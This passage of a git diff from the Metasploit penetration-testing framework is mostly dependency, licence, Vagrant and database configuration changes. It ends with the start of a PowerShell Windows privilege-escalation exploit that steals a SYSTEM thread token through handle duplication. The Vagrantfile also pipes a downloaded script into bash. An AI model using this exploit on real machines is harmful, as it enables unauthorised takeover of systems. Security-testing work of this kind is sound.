|
||||
builder (~> 3.1.0)
|
||||
erubis (~> 2.7.0)
|
||||
rack (~> 1.5.2)
|
||||
actionpack (4.2.7)
|
||||
actionview (= 4.2.7)
|
||||
activesupport (= 4.2.7)
|
||||
rack (~> 1.6)
|
||||
rack-test (~> 0.6.2)
|
||||
activemodel (4.0.13)
|
||||
activesupport (= 4.0.13)
|
||||
builder (~> 3.1.0)
|
||||
activerecord (4.0.13)
|
||||
activemodel (= 4.0.13)
|
||||
activerecord-deprecated_finders (~> 1.0.2)
|
||||
activesupport (= 4.0.13)
|
||||
arel (~> 4.0.0)
|
||||
activerecord-deprecated_finders (1.0.4)
|
||||
activesupport (4.0.13)
|
||||
i18n (~> 0.6, >= 0.6.9)
|
||||
minitest (~> 4.2)
|
||||
multi_json (~> 1.3)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo (~> 0.3.37)
|
||||
arel (4.0.2)
|
||||
arel-helpers (2.1.0)
|
||||
activerecord (>= 3.1.0, < 5)
|
||||
aruba (0.6.2)
|
||||
childprocess (>= 0.3.6)
|
||||
cucumber (>= 1.1.1)
|
||||
rspec-expectations (>= 2.7.0)
|
||||
bcrypt (3.1.10)
|
||||
builder (3.1.4)
|
||||
capybara (2.4.4)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
actionview (4.2.7)
|
||||
activesupport (= 4.2.7)
|
||||
builder (~> 3.1)
|
||||
erubis (~> 2.7.0)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
activemodel (4.2.7)
|
||||
activesupport (= 4.2.7)
|
||||
builder (~> 3.1)
|
||||
activerecord (4.2.7)
|
||||
activemodel (= 4.2.7)
|
||||
activesupport (= 4.2.7)
|
||||
arel (~> 6.0)
|
||||
activesupport (4.2.7)
|
||||
i18n (~> 0.7)
|
||||
json (~> 1.7, >= 1.7.7)
|
||||
minitest (~> 5.1)
|
||||
thread_safe (~> 0.3, >= 0.3.4)
|
||||
tzinfo (~> 1.1)
|
||||
addressable (2.4.0)
|
||||
arel (6.0.3)
|
||||
arel-helpers (2.3.0)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
aruba (0.14.1)
|
||||
childprocess (~> 0.5.6)
|
||||
contracts (~> 0.9)
|
||||
cucumber (>= 1.3.19)
|
||||
ffi (~> 1.9.10)
|
||||
rspec-expectations (>= 2.99)
|
||||
thor (~> 0.19)
|
||||
bcrypt (3.1.11)
|
||||
bit-struct (0.15.0)
|
||||
builder (3.2.2)
|
||||
capybara (2.7.1)
|
||||
addressable
|
||||
mime-types (>= 1.16)
|
||||
nokogiri (>= 1.3.3)
|
||||
rack (>= 1.0.0)
|
||||
rack-test (>= 0.5.4)
|
||||
xpath (~> 2.0)
|
||||
childprocess (0.5.5)
|
||||
childprocess (0.5.9)
|
||||
ffi (~> 1.0, >= 1.0.11)
|
||||
coderay (1.1.0)
|
||||
cucumber (1.3.19)
|
||||
coderay (1.1.1)
|
||||
contracts (0.14.0)
|
||||
cucumber (2.4.0)
|
||||
builder (>= 2.1.2)
|
||||
cucumber-core (~> 1.5.0)
|
||||
cucumber-wire (~> 0.0.1)
|
||||
diff-lcs (>= 1.1.3)
|
||||
gherkin (~> 2.12)
|
||||
gherkin (~> 4.0)
|
||||
multi_json (>= 1.7.5, < 2.0)
|
||||
multi_test (>= 0.1.2)
|
||||
cucumber-rails (1.4.2)
|
||||
cucumber-core (1.5.0)
|
||||
gherkin (~> 4.0)
|
||||
cucumber-rails (1.4.3)
|
||||
capybara (>= 1.1.2, < 3)
|
||||
cucumber (>= 1.3.8, < 2)
|
||||
mime-types (>= 1.16, < 3)
|
||||
cucumber (>= 1.3.8, < 3)
|
||||
mime-types (>= 1.16, < 4)
|
||||
nokogiri (~> 1.5)
|
||||
rails (>= 3, < 5)
|
||||
railties (>= 3, < 5)
|
||||
cucumber-wire (0.0.1)
|
||||
diff-lcs (1.2.5)
|
||||
docile (1.1.5)
|
||||
erubis (2.7.0)
|
||||
factory_girl (4.5.0)
|
||||
factory_girl (4.7.0)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_girl_rails (4.5.0)
|
||||
factory_girl (~> 4.5.0)
|
||||
factory_girl_rails (4.7.0)
|
||||
factory_girl (~> 4.7.0)
|
||||
railties (>= 3.0.0)
|
||||
ffi (1.9.8)
|
||||
faraday (0.9.2)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.14)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.2.1)
|
||||
gherkin (2.12.2)
|
||||
multi_json (~> 1.3)
|
||||
hike (1.2.3)
|
||||
fivemat (1.3.2)
|
||||
gherkin (4.0.0)
|
||||
i18n (0.7.0)
|
||||
jsobfu (0.3.0)
|
||||
jsobfu (0.4.1)
|
||||
rkelly-remix (= 0.0.6)
|
||||
json (1.8.3)
|
||||
mail (2.6.3)
|
||||
mime-types (>= 1.16, < 3)
|
||||
loofah (2.0.3)
|
||||
nokogiri (>= 1.5.9)
|
||||
metasm (1.0.2)
|
||||
metasploit-concern (1.0.0)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-credential (1.0.1)
|
||||
metasploit-concern (~> 1.0)
|
||||
metasploit-model (~> 1.0)
|
||||
metasploit_data_models (~> 1.0)
|
||||
metasploit-concern (2.0.1)
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (2.0.3)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models
|
||||
pg
|
||||
railties
|
||||
rubyntlm
|
||||
rubyzip (~> 1.1)
|
||||
metasploit-model (1.0.0)
|
||||
activemodel (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-payloads (1.0.16)
|
||||
metasploit_data_models (1.2.9)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
rubyzip
|
||||
metasploit-model (2.0.0)
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.1.13)
|
||||
metasploit_data_models (2.0.0)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
metasploit-concern (~> 1.0)
|
||||
metasploit-model (~> 1.0)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
pg
|
||||
postgres_ext
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.0.5)
|
||||
method_source (0.8.2)
|
||||
mime-types (2.6.1)
|
||||
mini_portile (0.6.2)
|
||||
minitest (4.7.5)
|
||||
msgpack (0.7.0)
|
||||
multi_json (1.11.2)
|
||||
mime-types (3.1)
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2016.0521)
|
||||
mini_portile2 (2.1.0)
|
||||
minitest (5.9.0)
|
||||
msgpack (1.0.0)
|
||||
multi_json (1.12.1)
|
||||
multi_test (0.1.2)
|
||||
multipart-post (2.0.0)
|
||||
net-ssh (3.2.0)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.6.2)
|
||||
mini_portile (~> 0.6.0)
|
||||
nokogiri (1.6.8)
|
||||
mini_portile2 (~> 2.1.0)
|
||||
pkg-config (~> 1.1.7)
|
||||
octokit (4.3.0)
|
||||
sawyer (~> 0.7.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
packetfu (1.1.11)
|
||||
network_interface (~> 0.0)
|
||||
pcaprub (~> 0.12)
|
||||
pcaprub (0.12.0)
|
||||
pg (0.18.3)
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.12.4)
|
||||
pg (0.18.4)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (2.4.1)
|
||||
pkg-config (1.1.7)
|
||||
postgres_ext (3.0.0)
|
||||
activerecord (>= 4.0.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.10.1)
|
||||
pry (0.10.4)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.8.1)
|
||||
slop (~> 3.4)
|
||||
rack (1.5.5)
|
||||
rack (1.6.4)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails (4.0.13)
|
||||
actionmailer (= 4.0.13)
|
||||
actionpack (= 4.0.13)
|
||||
activerecord (= 4.0.13)
|
||||
activesupport (= 4.0.13)
|
||||
bundler (>= 1.3.0, < 2.0)
|
||||
railties (= 4.0.13)
|
||||
sprockets-rails (~> 2.0)
|
||||
railties (4.0.13)
|
||||
actionpack (= 4.0.13)
|
||||
activesupport (= 4.0.13)
|
||||
rails-deprecated_sanitizer (1.0.3)
|
||||
activesupport (>= 4.2.0.alpha)
|
||||
rails-dom-testing (1.0.7)
|
||||
activesupport (>= 4.2.0.beta, < 5.0)
|
||||
nokogiri (~> 1.6.0)
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.3)
|
||||
loofah (~> 2.0)
|
||||
railties (4.2.7)
|
||||
actionpack (= 4.2.7)
|
||||
activesupport (= 4.2.7)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (10.4.2)
|
||||
rake (11.2.2)
|
||||
rb-readline-r7 (0.5.2.0)
|
||||
recog (2.0.14)
|
||||
recog (2.0.21)
|
||||
nokogiri
|
||||
redcarpet (3.2.3)
|
||||
redcarpet (3.3.4)
|
||||
rex-java (0.1.2)
|
||||
rex-powershell (0.1.0)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
rex-random_identifier (0.1.0)
|
||||
rex-text
|
||||
rex-registry (0.1.0)
|
||||
rex-struct2 (0.1.0)
|
||||
rex-text (0.1.1)
|
||||
rex-zip (0.1.0)
|
||||
rex-text
|
||||
rkelly-remix (0.0.6)
|
||||
robots (0.10.1)
|
||||
rspec (2.99.0)
|
||||
rspec-core (~> 2.99.0)
|
||||
rspec-expectations (~> 2.99.0)
|
||||
rspec-mocks (~> 2.99.0)
|
||||
rspec-collection_matchers (1.1.2)
|
||||
rspec-expectations (>= 2.99.0.beta1)
|
||||
rspec-core (2.99.2)
|
||||
rspec-expectations (2.99.2)
|
||||
diff-lcs (>= 1.1.3, < 2.0)
|
||||
rspec-mocks (2.99.3)
|
||||
rspec-rails (2.99.0)
|
||||
rspec-core (3.5.1)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-expectations (3.5.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-mocks (3.5.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-rails (3.5.1)
|
||||
actionpack (>= 3.0)
|
||||
activemodel (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-collection_matchers
|
||||
rspec-core (~> 2.99.0)
|
||||
rspec-expectations (~> 2.99.0)
|
||||
rspec-mocks (~> 2.99.0)
|
||||
rubyntlm (0.5.2)
|
||||
rubyzip (1.1.7)
|
||||
shoulda-matchers (2.8.0)
|
||||
activesupport (>= 3.0.0)
|
||||
simplecov (0.9.2)
|
||||
rspec-core (~> 3.5.0)
|
||||
rspec-expectations (~> 3.5.0)
|
||||
rspec-mocks (~> 3.5.0)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-support (3.5.0)
|
||||
rubyntlm (0.6.0)
|
||||
rubyzip (1.2.0)
|
||||
sawyer (0.7.0)
|
||||
addressable (>= 2.3.5, < 2.5)
|
||||
faraday (~> 0.8, < 0.10)
|
||||
shoulda-matchers (3.1.1)
|
||||
activesupport (>= 4.0.0)
|
||||
simplecov (0.12.0)
|
||||
docile (~> 1.1.0)
|
||||
multi_json (~> 1.0)
|
||||
simplecov-html (~> 0.9.0)
|
||||
simplecov-html (0.9.0)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.0)
|
||||
slop (3.6.0)
|
||||
sprockets (2.12.3)
|
||||
hike (~> 1.2)
|
||||
multi_json (~> 1.0)
|
||||
rack (~> 1.0)
|
||||
tilt (~> 1.1, != 1.3.0)
|
||||
sprockets-rails (2.2.4)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
sprockets (>= 2.8, < 4.0)
|
||||
sqlite3 (1.3.11)
|
||||
sshkey (1.8.0)
|
||||
thor (0.19.1)
|
||||
thread_safe (0.3.5)
|
||||
tilt (1.4.1)
|
||||
timecop (0.7.3)
|
||||
tzinfo (0.3.44)
|
||||
timecop (0.8.1)
|
||||
tzinfo (1.2.2)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2016.6)
|
||||
tzinfo (>= 1.0.0)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.8.7.6)
|
||||
yard (0.9.0)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
|
@ -235,15 +282,18 @@ PLATFORMS
|
|||
DEPENDENCIES
|
||||
aruba
|
||||
cucumber-rails
|
||||
factory_girl_rails (~> 4.5.0)
|
||||
fivemat (= 1.2.1)
|
||||
factory_girl_rails
|
||||
fivemat
|
||||
metasploit-framework!
|
||||
octokit (~> 4.0)
|
||||
pry
|
||||
rake (>= 10.0.0)
|
||||
rake
|
||||
redcarpet
|
||||
rspec (>= 2.12, < 3.0.0)
|
||||
rspec-rails (>= 2.12, < 3.0.0)
|
||||
rspec-rails
|
||||
shoulda-matchers
|
||||
simplecov
|
||||
timecop
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.12.5
|
||||
|
|
|
|||
2
LICENSE
2
LICENSE
|
|
@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
|||
Source: http://www.metasploit.com/
|
||||
|
||||
Files: *
|
||||
Copyright: 2006-2015, Rapid7, Inc.
|
||||
Copyright: 2006-2016, Rapid7, Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
||||
|
|
|
|||
|
|
@ -1,4 +1,4 @@
|
|||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework)
|
||||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
|
|
|
|||
|
|
@ -0,0 +1,50 @@
|
|||
# -*- mode: ruby -*-
|
||||
# vi: set ft=ruby :
|
||||
|
||||
Vagrant.configure(2) do |config|
|
||||
config.ssh.forward_x11 = true
|
||||
config.vm.box = "ubuntu/trusty64"
|
||||
# TODO: find a minimal image that keeps up-to-date and
|
||||
# supports multiple providers
|
||||
#config.vm.box = "phusion/ubuntu-14.04-amd64"
|
||||
config.vm.network :forwarded_port, guest: 4444, host: 4444
|
||||
config.vm.provider "vmware" do |v|
|
||||
v.memory = 2048
|
||||
v.cpus = 2
|
||||
end
|
||||
config.vm.provider "virtualbox" do |v|
|
||||
v.memory = 2048
|
||||
v.cpus = 2
|
||||
end
|
||||
%w(.vimrc .gitconfig).each do |f|
|
||||
local = File.expand_path "~/#{f}"
|
||||
if File.exist? local
|
||||
config.vm.provision "file", source: local, destination: f
|
||||
end
|
||||
end
|
||||
|
||||
[ #"echo 127.0.1.1 `cat /etc/hostname` >> /etc/hosts", work around a bug in official Ubuntu Xenial cloud images
|
||||
"apt-get update",
|
||||
"apt-get dist-upgrade -y",
|
||||
"apt-get -y install curl build-essential git tig vim john nmap libpq-dev libpcap-dev gnupg fortune postgresql postgresql-contrib",
|
||||
].each do |step|
|
||||
config.vm.provision "shell", inline: step
|
||||
end
|
||||
|
||||
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
|
||||
"curl -L https://get.rvm.io | bash -s stable",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm --install .ruby-version",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && gem install bundler",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
|
||||
"mkdir -p ~/.msf4",
|
||||
].each do |step|
|
||||
config.vm.provision "shell", privileged: false, inline: step
|
||||
end
|
||||
config.vm.provision "file", source: "config/database.yml.vagrant", destination: "~/.msf4/database.yml"
|
||||
|
||||
config.vm.provision "shell", inline: "sudo -u postgres psql postgres -tAc \"SELECT 1 FROM pg_roles WHERE rolname='vagrant'\" | grep -q 1 || sudo -u postgres createuser -s -e -w vagrant && sudo -u postgres psql -c \"ALTER USER vagrant with ENCRYPTED PASSWORD 'vagrant';\""
|
||||
|
||||
["msf_dev_db", "msf_test_db"].each do |database|
|
||||
config.vm.provision "shell", inline: "sudo -u postgres psql -lqt | awk '{ print $1 }' | grep -w #{database} | wc -l | grep -q 1 || sudo -u postgres createdb --owner vagrant #{database}"
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,82 @@
|
|||
module Mdm::Workspace::BoundaryRange
|
||||
extend ActiveSupport::Concern
|
||||
|
||||
included do
|
||||
#
|
||||
# Validations
|
||||
#
|
||||
|
||||
validate :boundary_must_be_ip_range
|
||||
|
||||
#
|
||||
# Instance Methods
|
||||
#
|
||||
|
||||
# If {#limit_to_network} is disabled, this will always return `true`.
|
||||
# Otherwise, return `true` only if all of the given IPs are within the
|
||||
# project {#boundary boundaries}.
|
||||
|
||||
#
|
||||
# @param ips [String] IP range(s)
|
||||
# @return [true] if actions on ips are allowed.
|
||||
# @return [false] if actions are not allowed on ips.
|
||||
def allow_actions_on?(ips)
|
||||
return true unless limit_to_network
|
||||
return true unless boundary
|
||||
return true if boundary.empty?
|
||||
boundaries = Shellwords.split(boundary)
|
||||
return true if boundaries.empty? # It's okay if there is no boundary range after all
|
||||
given_range = Rex::Socket::RangeWalker.new(ips)
|
||||
return false unless given_range # Can't do things to nonexistant IPs
|
||||
allowed = false
|
||||
boundaries.each do |boundary_range|
|
||||
ok_range = Rex::Socket::RangeWalker.new(boundary)
|
||||
allowed = true if ok_range.include_range? given_range
|
||||
end
|
||||
return allowed
|
||||
end
|
||||
|
||||
# Validates that {#boundary} is {#valid_ip_or_range? a valid IP address or
|
||||
# IP address range}. Due to this not being tested before it was moved here
|
||||
# from Mdm, the default workspace does not validate. We always validate boundaries
|
||||
# and a workspace may have a blank default boundary.
|
||||
#
|
||||
# @return [void]
|
||||
def boundary_must_be_ip_range
|
||||
unless boundary.blank?
|
||||
begin
|
||||
boundaries = Shellwords.split(boundary)
|
||||
rescue ArgumentError
|
||||
boundaries = []
|
||||
end
|
||||
|
||||
boundaries.each do |range|
|
||||
unless valid_ip_or_range?(range)
|
||||
errors.add(:boundary, "must be a valid IP range")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Returns an array of addresses ranges
|
||||
#
|
||||
# @return [Array<String>]
|
||||
def addresses
|
||||
(boundary || "").split("\n")
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Returns whether `string` is a valid IP address or IP address range.
|
||||
#
|
||||
# @return [true] if valid IP address or IP address range.
|
||||
# @return [false] otherwise.
|
||||
def valid_ip_or_range?(string)
|
||||
range = Rex::Socket::RangeWalker.new(string)
|
||||
range && range.ranges && range.ranges.any?
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
|
@ -6,5 +6,6 @@ ignored_tags = "--tags ~@boot --tags ~@targets"
|
|||
%>
|
||||
default: <%= std_opts %> <%= ignored_tags %> features
|
||||
boot: <%= std_opts %> --tags @boot features
|
||||
exploit: <%= std_opts %> --tags @targets features
|
||||
wip: --tags @wip:3 --wip features
|
||||
rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip
|
||||
rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip
|
||||
|
|
@ -1,9 +1,9 @@
|
|||
# Please only use postgresql bound to a TCP port.
|
||||
# Only postgresql is supportable for metasploit-framework
|
||||
# these days. (No SQLite, no MySQL).
|
||||
#
|
||||
# To set up a metasploit database, follow the directions hosted at:
|
||||
# http://r-7.co/MSF-DEV#set-up-postgresql
|
||||
#
|
||||
# Kali Linux and the Omnibus installers both include an easy wrapper script for
|
||||
# managing your database, which may be more convenient than rolling your own.
|
||||
|
||||
development: &pgsql
|
||||
adapter: postgresql
|
||||
database: metasploit_framework_development
|
||||
|
|
@ -11,7 +11,7 @@ development: &pgsql
|
|||
password: __________________________________
|
||||
host: localhost
|
||||
port: 5432
|
||||
pool: 5
|
||||
pool: 200
|
||||
timeout: 5
|
||||
|
||||
# You will often want to seperate your databases between dev
|
||||
|
|
|
|||
|
|
@ -0,0 +1,18 @@
|
|||
development: &pgsql
|
||||
adapter: postgresql
|
||||
database: msf_dev_db
|
||||
username: vagrant
|
||||
password: vagrant
|
||||
host: localhost
|
||||
port: 5432
|
||||
pool: 200
|
||||
timeout: 5
|
||||
|
||||
production: &production
|
||||
<<: *pgsql
|
||||
|
||||
test:
|
||||
<<: *pgsql
|
||||
database: msf_test_db
|
||||
username: vagrant
|
||||
wassword: vagrant
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
if defined? Metasploit::Framework::Application
|
||||
Metasploit::Framework::Application.configure do
|
||||
config.log_level = :info
|
||||
end
|
||||
end
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -0,0 +1 @@
|
|||
<===[JENKINS REMOTING CAPACITY]===>
|
||||
|
|
@ -0,0 +1,334 @@
|
|||
# Copyright (c) 2016, Ruben Booren (@FuzzySec)
|
||||
# All rights reserved
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public int dwProcessId;
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public Int32 cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public Int32 dwX;
|
||||
public Int32 dwY;
|
||||
public Int32 dwXSize;
|
||||
public Int32 dwYSize;
|
||||
public Int32 dwXCountChars;
|
||||
public Int32 dwYCountChars;
|
||||
public Int32 dwFillAttribute;
|
||||
public Int32 dwFlags;
|
||||
public Int16 wShowWindow;
|
||||
public Int16 cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SQOS
|
||||
{
|
||||
public int Length;
|
||||
public int ImpersonationLevel;
|
||||
public int ContextTrackingMode;
|
||||
public bool EffectiveOnly;
|
||||
}
|
||||
|
||||
public static class Advapi32
|
||||
{
|
||||
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
|
||||
public static extern bool CreateProcessWithLogonW(
|
||||
String userName,
|
||||
String domain,
|
||||
String password,
|
||||
int logonFlags,
|
||||
String applicationName,
|
||||
String commandLine,
|
||||
int creationFlags,
|
||||
int environment,
|
||||
String currentDirectory,
|
||||
ref STARTUPINFO startupInfo,
|
||||
out PROCESS_INFORMATION processInformation);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool SetThreadToken(
|
||||
ref IntPtr Thread,
|
||||
IntPtr Token);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool OpenThreadToken(
|
||||
IntPtr ThreadHandle,
|
||||
int DesiredAccess,
|
||||
bool OpenAsSelf,
|
||||
out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool OpenProcessToken(
|
||||
IntPtr ProcessHandle,
|
||||
int DesiredAccess,
|
||||
ref IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public extern static bool DuplicateToken(
|
||||
IntPtr ExistingTokenHandle,
|
||||
int SECURITY_IMPERSONATION_LEVEL,
|
||||
ref IntPtr DuplicateTokenHandle);
|
||||
}
|
||||
|
||||
public static class Kernel32
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint GetLastError();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr GetCurrentThread();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern int GetThreadId(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern int GetProcessIdOfThread(IntPtr handle);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError=true)]
|
||||
public static extern int SuspendThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError=true)]
|
||||
public static extern int ResumeThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool TerminateProcess(
|
||||
IntPtr hProcess,
|
||||
uint uExitCode);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool DuplicateHandle(
|
||||
IntPtr hSourceProcessHandle,
|
||||
IntPtr hSourceHandle,
|
||||
IntPtr hTargetProcessHandle,
|
||||
ref IntPtr lpTargetHandle,
|
||||
int dwDesiredAccess,
|
||||
bool bInheritHandle,
|
||||
int dwOptions);
|
||||
}
|
||||
|
||||
public static class Ntdll
|
||||
{
|
||||
[DllImport("ntdll.dll", SetLastError=true)]
|
||||
public static extern int NtImpersonateThread(
|
||||
IntPtr ThreadHandle,
|
||||
IntPtr ThreadToImpersonate,
|
||||
ref SQOS SecurityQualityOfService);
|
||||
}
|
||||
"@
|
||||
|
||||
function Get-ThreadHandle {
|
||||
# StartupInfo Struct
|
||||
$StartupInfo = New-Object STARTUPINFO
|
||||
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
|
||||
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||
|
||||
# ProcessInfo Struct
|
||||
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||
|
||||
# CreateProcessWithLogonW --> lpCurrentDirectory
|
||||
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
||||
|
||||
$path1 = $env:windir
|
||||
$path1 = "$path1\System32\cmd.exe"
|
||||
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
|
||||
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||
"user", "domain", "pass",
|
||||
0x00000002, $path1, "",
|
||||
0x00000004, $null, $GetCurrentPath,
|
||||
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||
|
||||
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
|
||||
$lpTargetHandle = [IntPtr]::Zero
|
||||
$CallResult = [Kernel32]::DuplicateHandle(
|
||||
$ProcessInfo.hProcess, 0x4,
|
||||
[Kernel32]::GetCurrentProcess(),
|
||||
[ref]$lpTargetHandle, 0, $false,
|
||||
0x00000002)
|
||||
|
||||
# Clean up suspended process
|
||||
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
||||
|
||||
$lpTargetHandle
|
||||
}
|
||||
|
||||
function Get-SystemToken {
|
||||
echo "`n[?] Trying thread handle: $Thread"
|
||||
echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
|
||||
|
||||
$CallResult = [Kernel32]::SuspendThread($Thread)
|
||||
if ($CallResult -ne 0) {
|
||||
echo "[!] $Thread is a bad thread, moving on.."
|
||||
Return
|
||||
} echo "[+] Thread suspended"
|
||||
|
||||
echo "[>] Wiping current impersonation token"
|
||||
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
|
||||
if (!$CallResult) {
|
||||
echo "[!] SetThreadToken failed, moving on.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
